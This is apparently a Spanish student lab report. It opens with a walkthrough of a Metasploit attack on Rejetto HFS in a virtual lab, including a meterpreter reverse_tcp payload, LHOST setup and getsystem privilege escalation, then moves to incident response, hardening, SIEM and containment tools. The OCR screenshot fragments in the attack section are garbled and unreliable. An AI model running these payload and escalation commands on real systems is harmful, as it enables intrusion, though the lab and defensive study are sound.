Para utilizar estos paylaods utilizamos el siguiente comando:
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= set PAYLOAD windows/exec
= set PAYLOAD Windows/meterpreter/reverse_tcp Puerto LHOST 4444

llustracion 23 Configuracion Payloads.

PAYLOAD windows

], ty host:port][...]

Fuente: Propia.

=> exploit o run
Para finalizar se procede a darle run para la ejecucion del ataque.

llustracidén 24 Ejecucion de ataque por metasploit.

me ter > i

Fuente: Propia.
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llustracién 25 Validacion de sesion meterpreter.

il Kali - Seminario (segunda 2) [Corriendo] - Oracle VM VirtualBox

Archive  Méquna Ver Entrada  Dispositivos  Ayuda

Archivo Acciones Editar Vista Ayuda

% TEMP%
rkComet 123

Fuente: Propia.
Se procede a escalar privilegios con los siguientes con los siguientes comandos.
=>» sysinfo

=> getsystem
=> getuid

31



llustracién 26 Escalacién de privilegios.

from
::RuntimeError Cannot migrate into non existent pr

es: Operation failed: The parameter is incorrect.

STEM

PR P O

Fuente: Propia.

Dentro del equipo victima se pueden observar los movimientos que pudo ejecutar
el atacante por medio del aplicativo rejetto y las consultar.

De igual forma se pueden evidenciar archivos dentro de la carpeta % TEMP%,
generados por el exploit.

llustracidon 27 Registros de aplicativo Rejetto

8 HFS - HTTP File Server 23 Build 288 = HoR |

Out 00 KB/s  In-00 KE

Fuente: Propia.
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Evidencias y rastros del atacante.

llustracién 28 Evidencias de ataque.

Fuente: Propia.

llustracién 29 Evidencias temporales.

ﬂ Win7-5E2020-X64 (segunda insta) [Corriendo] - Oracle VM VirtualBox

Archivo M&guina Ver Entrada Dispositivos Ayuda

@uv| . v usuarioc b Descargas » Rejeto 123456 »

Organizar = il Abrir Incluir en biblioteca + Compartir con = MNueva carpeta
‘¢ Favoritos MNombre . Fecha de modifica...
& Descargas . BTEMPZ% 12/03/2023 07:53 ...
M Escritorio [ DarkComet 123456
= Sitios recientes #2 his

3 Bibliotecas
3 Documentos

R

Fuente: Propia.
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llustracién 30 Contenido carpeta de temporales.

W Win7-5E2020-X64 (segunda insta) [Corriendo] - Oracle VM VirtualBox

Archive Maguina Ver Entrada Dispositivos Ayuda

o
@uv‘ . ¥ usuario v Descargas b Rejjeto 123456 » %TEMP%

QOrganizar ~ Incluir en biblioteca « Compartir con = MNueva carpeta
- Mombre Fecha de modifica... Tipo Tamario

- Favoritos

10HoFgCKyh Archive de secuen... 1KB

ruZrnUfoRv

W Descargas
Bl Escritorio

1 Sitios recientes

Archive de secuen... 1kB

.. Archivo de secuen... 1KB
E;i UQitw 12/03/202307:45 ...  Archivo de secuen... 1KB
- Bibliotecas

3 Documentos

(=] Imégenes

J’ Musica

E Videos

Fuente: Propia.
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ETAPA 4 CONTENCION DE ATAQUES INFORMATICOS

1. Respuesta ante incidente informético en tiempo real.

Si me encontrara con un incidente en tiempo real, mi primera accién seria detectar
el punto de entrada del ataque. Para hacerlo, se pueden utilizar herramientas de
monitoreo de red, como Wireshark, que permiten capturar y analizar el trafico de
red. Con esta herramienta, se podria identificar cualquier trafico malicioso o inusual
en la red.

Una vez que se ha identificado el vector de ataque, lo siguiente seria identificar los
sistemas y dispositivos afectados por el ataque. Para hacerlo, se pueden utilizar
herramientas de analisis de vulnerabilidades, como OpenVAS o Nessus, que
pueden escanear una red en busca de vulnerabilidades y sistemas comprometidos.

Después de identificar los sistemas afectados, el siguiente paso seria investigar el
tipo de ataque y cdmo esta afectando a los sistemas. Para hacerlo, se pueden
utilizar herramientas de andlisis de malware, como Malwarebytes o ClamAV, que
permiten analizar archivos y sistemas en busca de software malicioso.

Finalmente, se debe tomar medidas para contener el ataque y minimizar el dafio.
Esto puede incluir la eliminacion del software malicioso, la restauracion de sistemas
desde una copia de seguridad o la implementacion de medidas de seguridad
adicionales para prevenir futuros ataques.

En términos de herramientas de codigo abierto que se pueden utilizar para el
analisis Blue Team, se pueden considerar las siguientes:

e Wireshark: herramienta de analisis de trafico de red.

e OpenVAS: herramienta de escaneo de vulnerabilidades y evaluacion de
riesgos.

e Nessus: herramienta de escaneo de vulnerabilidades y evaluacién de

riesgos.

Malwarebytes: herramienta de analisis de malware.

ClamAV: herramienta de analisis de malware.

Snort: herramienta de deteccion de intrusiones y prevencion de ataques.

OSSEC: sistema de deteccion de intrusiones basado en host.

Nmap: herramienta de escaneo de puertos y deteccion de servicios.

Estas herramientas pueden ser de gran ayuda para identificar el tipo de

ataque y tomar medidas para contenerlo y minimizar el dafio.
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2. Medidas de aseguramiento.

Para evitar que el incidente ejecutado por el equipo Red Team se repita, se pueden
implementar las siguientes medidas de aseguramiento:

Actualizaciones de seguridad: Es importante mantener el sistema operativo y las
aplicaciones actualizadas con los ultimos parches y actualizaciones de seguridad
para prevenir vulnerabilidades conocidas. Las actualizaciones también pueden
incluir mejoras en la seguridad y la correccion de problemas que podrian ser
explotados por los atacantes.

Configuracion segura: Es importante configurar el sistema y las aplicaciones para
minimizar los riesgos de seguridad. Esto incluye la configuracion de contrasefias
seguras, la eliminacién de servicios y aplicaciones innecesarias, la configuracion
adecuada de cortafuegos y el uso de politicas de seguridad.

Politicas de seguridad: Se deben implementar politicas de seguridad claras y
efectivas que se apliquen a todos los usuarios y sistemas en la organizacion. Esto
puede incluir politicas de contrasefias, politicas de acceso a los recursos y politicas
de uso aceptable.

Andlisis y monitoreo: Es importante analizar y monitorear los sistemas para detectar
actividades maliciosas o inusuales. Esto puede incluir el monitoreo de registros de
eventos, la implementacion de sistemas de deteccién de intrusiones y la realizacion
de pruebas de penetracién regulares.

Capacitacion y concientizacion: La capacitacién y concientizacion del personal son
esenciales para mejorar la seguridad de la organizacion. Esto puede incluir la
capacitacién en seguridad de la informacién y la realizacién de simulaciones de
phishing y otros tipos de ataques para educar al personal sobre como detectar y
evitar los ataques.

En resumen, para evitar que el ataque ejecutado por el equipo Red Team se repita,
es importante implementar medidas de seguridad efectivas que aborden la
configuracion segura, las politicas de seguridad, el analisis y monitoreo, la
capacitacion y concientizacion y las actualizaciones de seguridad. Con estas
medidas, se puede mejorar la seguridad general de la organizaciéon y minimizar los
riesgos de futuros ataques.
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3. Diferencias Equipo de Blue Team y respuesta a incidentes.

Tabla 3 Diferencias Equipo de Blue Team y respuesta a incidentes.

Caracteristica

Equipo Blue Team

Equipo de respuesta a
incidentes informaticos

Identificar, responder y

Defensa y proteccion de los recuperarse de incidentes

Objetivo sistemas de la organizacion informaticos de manera
principal contra ataques informaticos.  efectiva.

Puede ser un equipo interno o

externo que se enfoca en

Es parte del equipo de responder a incidentes

seguridad de la organizaciény informaticos y minimizar el

Rol en la se enfoca en la prevencion de dafio en caso de que se

organizacion

ataques informaticos.

produzcan.

Enfoque Proactivo Reactivo
Identificacion de incidentes
Monitoreo de sistemas y redes informaticos. Recopilacion de
para detectar amenazas Yy informacién sobre el incidente.
vulnerabilidades. Evaluaciéon Andlisis de la informacion para
de la postura de seguridad de determinar la naturaleza y el
la organizacién. Desarrollo de alcance del incidente.
Actividades estrategias y politicas de Desarrollo de un plan de
principales seguridad. respuesta y recuperacion.

Herramientas de analisis de
seguridad, deteccion  de
intrusiones, escaneo de

Herramientas de analisis de
registros, forense digital,
herramientas de monitoreo de
red y sistemas, y herramientas

Herramientas y vulnerabilidades, monitoreo de respuesta a incidentes
tecnologias de redes y sistemas. informaticos.

Conocimientos  técnicos en

Conocimientos técnicos en seguridad de la informacion,

seguridad de la informacion y forense digital, analisis de

experiencia en la registros y experiencia en la

Habilidades y configuracion y administracion respuesta a incidentes
experiencia de sistemas y redes. informaticos.
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Respuesta rapida y efectiva a

incidentes informéticos,

Una postura de seguridad minimizando el dafio vy

Resultado sélida y proteccion efectiva restaurando los  sistemas
esperado contra ataques informaticos.  afectados a su estado normal.

Fuente: Propia.

En resumen, mientras que un equipo Blue Team se enfoca en la prevencion de
ataques informaticos y en la proteccion de los sistemas de la organizacion, un
equipo de respuesta a incidentes informaticos se enfoca en identificar, responder y
recuperarse de incidentes informaticos de manera efectiva. Ambos equipos utilizan
herramientas y tecnologias similares, pero requieren habilidades y experiencia
diferentes para realizar sus actividades principales y alcanzar sus resultados
esperados.

4. CIS (Center for Internet Security) y equipo Blue Team.

Si dentro de un equipo Blue Team se indica que se debe trabajar con CIS (Center
for Internet Security), se podria utilizar esta organizacion como fuente de orientacion
y asesoramiento para mejorar la postura de seguridad de la organizacion. CIS es
una organizacion sin fines de lucro que se dedica a mejorar la seguridad de la
informacion a través del desarrollo de estandares y mejores practicas.

En particular, el equipo Blue Team podria utilizar los productos y servicios de CIS
para:

e Acceder a los estandares de seguridad de CIS: CIS desarrolla y mantiene
estandares de seguridad de la informacion para diferentes plataformas
tecnoldgicas. El equipo Blue Team podria utilizar estos estandares como guia
para configurar sistemas y aplicaciones de manera segura y minimizar los
riesgos de seguridad.

e Acceder a las guias de configuracion de CIS: CIS también proporciona guias
de configuracién detalladas para diferentes sistemas y aplicaciones, que se
basan en sus estandares de seguridad. El equipo Blue Team podria utilizar
estas guias para configurar sistemas y aplicaciones de manera segura.

e Utilizar herramientas de evaluacion de CIS: CIS también proporciona
herramientas de evaluacion de seguridad, como CIS-CAT, que pueden
ayudar al equipo Blue Team a evaluar la postura de seguridad de la
organizacion en relacion con los estandares de CIS.
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e Acceder a informacion de amenazas: CIS también proporciona informacion
de amenazas y vulnerabilidades a través de su equipo de inteligencia de
amenazas, que puede ayudar al equipo Blue Team a identificar y responder
a amenazas de seguridad.

En resumen, si se indica que el equipo Blue Team debe trabajar con CIS, se podria
utilizar esta organizacién como fuente de orientacion y asesoramiento para mejorar
la postura de seguridad de la organizacion a través de sus estandares, guias de
configuracion, herramientas de evaluacion y servicios de inteligencia de amenazas.

5. Funciones del SIEM.

Tabla 4 Caracteristicas SIEM

Caracteristica

Funcién

Recopilacion de
datos

Recopila datos de mdltiples fuentes, como registros de
eventos, registros de sistemas, registros de aplicaciones y
registros de dispositivos de red.

Normalizacion y
correlacion

Normaliza y correlaciona los datos recopilados de
diferentes fuentes para identificar patrones y eventos de
seguridad.

Alertas y
notificaciones

Genera alertas y notificaciones para el personal de
seguridad cuando se detectan eventos de seguridad
importantes.

Analisis de
comportamiento

Utiliza técnicas de analisis de comportamiento para
identificar patrones de actividad inusual que puedan indicar
actividad maliciosa.

Analisis forense

Proporciona herramientas para analizar incidentes de
seguridad y llevar a cabo investigaciones forenses.

Genera informes y dashboards que proporcionan una vision
general de la postura de seguridad de la organizacion.

Informes y
dashboards
Integracién con

otros sistemas

Se integra con otros sistemas de seguridad, como sistemas
de deteccion de intrusiones, sistemas de prevenciéon de
intrusiones y sistemas de gestion de vulnerabilidades.

Automatizacion de
tareas

Automatiza tareas de seguridad como la gestion de
incidentes, la mitigacibn de amenazas y la respuesta a
incidentes.
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Permite la gestion y aplicacion de politicas de seguridad
para garantizar que se cumplan los requisitos de seguridad

Gestion de politicas de la organizacion.

Andlisis de Proporciona informacion sobre las tendencias y los
tendencias cambios en la actividad de seguridad a lo largo del tiempo.

Fuente: Propia.

6. Herramientas de contencion.

Las herramientas de contencion de ataques informaticos son diferentes de las
herramientas de deteccion en el sentido de que se enfocan en prevenir y limitar la
propagacion de los ataques, mientras que las herramientas de deteccion se enfocan
en detectar los ataques. A continuacién, se describen cinco herramientas de
contencién de ataques informaticos:

Firewalls de red: Los firewalls de red son herramientas que se utilizan para
controlar el trafico de red y permitir o bloquear el acceso a los sistemas y
aplicaciones. Los firewalls de red pueden limitar el acceso a los sistemas
vulnerables y prevenir el movimiento lateral de los ataques en la red. Algunos
ejemplos de firewalls de red son pfSense, iptables y Fortinet.

Sistemas de prevencion de intrusiones (IPS): Los sistemas de prevencion de
intrusiones son herramientas que se utilizan para detectar y prevenir los
ataques en tiempo real. Los IPS utilizan firmas y comportamientos conocidos
de ataques para detectar y bloquear el trafico malicioso antes de que llegue
a los sistemas vulnerables. Algunos ejemplos de sistemas de prevencion de
intrusiones son Snort, Suricata y Cisco Firepower.

Sistemas de aislamiento de red: Los sistemas de aislamiento de red son
herramientas que se utilizan para aislar los sistemas y dispositivos afectados
por los ataques. Los sistemas de aislamiento de red pueden limitar el alcance
de los ataques y evitar la propagacion de estos en la red. Algunos ejemplos
de sistemas de aislamiento de red son VMware NSX, Guardicore Centra y
lllumio ASP.

Sistemas de virtualizacién segura: Los sistemas de virtualizacion segura son
herramientas que se utilizan para ejecutar aplicaciones y sistemas en un
entorno aislado y seguro. Los sistemas de virtualizacidbn segura pueden
limitar el impacto de los ataques y proteger los sistemas vulnerables de las
amenazas en el entorno de produccion. Algunos ejemplos de sistemas de
virtualizacion segura son Bromium, Juniper vSRX y Palo Alto Networks VM-
Series.
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RECOMENDACIONES

A continuacion, se presentan algunas recomendaciones detalladas para
garantizar la proteccion de los sistemas informéticos y la informacion de una
organizacion:

e Implementar politicas de seguridad solidas: Es importante establecer
politicas de seguridad claras y especificas para garantizar la proteccion de
los sistemas informaticos y la informacién de la organizacion. Las politicas
deben incluir pautas para el uso de contrasefias seguras, la instalacion de
software y actualizaciones, y la navegacion en linea segura. Ademas, se
deben establecer medidas de seguridad adicionales para los dispositivos
moviles y el acceso remoto a los sistemas.

e Realizar pruebas de penetracion periddicas: Las pruebas de penetracion, o
pentesting, son una técnica importante para evaluar la seguridad de los
sistemas informaticos de la organizacion. Se recomienda realizar pruebas de
penetracion periddicas para identificar posibles vulnerabilidades en el
sistema y mejorar la seguridad de la red.

e Utilizar herramientas de deteccion y prevencion de intrusiones: Las
herramientas de deteccion y prevencién de intrusiones son esenciales para
detectar y prevenir posibles ataques informaticos en tiempo real. Estas
herramientas pueden incluir firewalls, sistemas de deteccion de intrusos y
sistemas de prevencion de intrusiones.

e Capacitar alos empleados en seguridad informatica: Es importante capacitar
a los empleados en seguridad informética para que estén al tanto de las
posibles amenazas y sepan como responder en caso de un ataque. Esto
puede incluir capacitaciones en linea, sesiones de capacitacion presenciales
y practicas de seguridad especificas para cada puesto de trabajo.

e Establecer un plan de contingencia: Es importante contar con un plan de
contingencia para responder a posibles ataques informaticos o violaciones
de seguridad. El plan debe incluir procedimientos especificos para identificar
y contener los posibles riesgos, asi como la comunicacion con los empleados
y otros grupos de interés.

En conclusion, la seguridad informatica es un tema critico que requiere una atencion
constante y medidas de seguridad sélidas. Las recomendaciones mencionadas
anteriormente pueden ayudar a garantizar la proteccion de los sistemas informaticos
y la informacién de una organizacion, y a reducir los posibles riesgos de ataques
cibernéticos.
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CONCLUSIONES

En conclusion, la seguridad informética es un tema critico que debe ser una
prioridad para todas las organizaciones en la actualidad. Con el aumento constante
de amenazas cibernéticas, es esencial contar con un enfoque sélido en la seguridad
de la informacion y los sistemas informéticos para garantizar la privacidad, la
integridad y la disponibilidad de los datos.

A lo largo de este trabajo, se han presentado diferentes aspectos de la seguridad
informéatica, desde la legislacion y las herramientas de ciberseguridad, hasta las
técnicas utilizadas para detectar y prevenir atagues informaticos. Se han
establecido objetivos especificos para abordar diferentes aspectos de la seguridad
informatica, y se han brindado recomendaciones detalladas para garantizar la
proteccion de los sistemas informéticos y la informacién de una organizacion.

Es importante destacar que la seguridad informatica es un proceso continuo que
requiere una atencion constante y una revision periédica. Las organizaciones deben
estar al dia con las ultimas tendencias y tecnologias en seguridad informatica, y
deben implementar medidas de seguridad adicionales a medida que surgen nuevas
amenazas cibernéticas.

En resumen, la seguridad informéatica debe ser una prioridad en todas las
organizaciones, y se deben tomar medidas proactivas para garantizar la proteccion
de los sistemas informéticos y la informacion de la organizacién. Con politicas de
seguridad sélidas, pruebas de penetraciéon periddicas, herramientas de deteccion y
prevencion de intrusiones, capacitacion en seguridad informética y un plan de
contingencia bien definido, las organizaciones pueden reducir los posibles riesgos
de ataques cibernéticos y proteger la informacion de la organizacién y sus clientes.
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VIDEO

https://youtu.be/KUupmdJ4ulE

43


https://youtu.be/KUupmdJ4uIE
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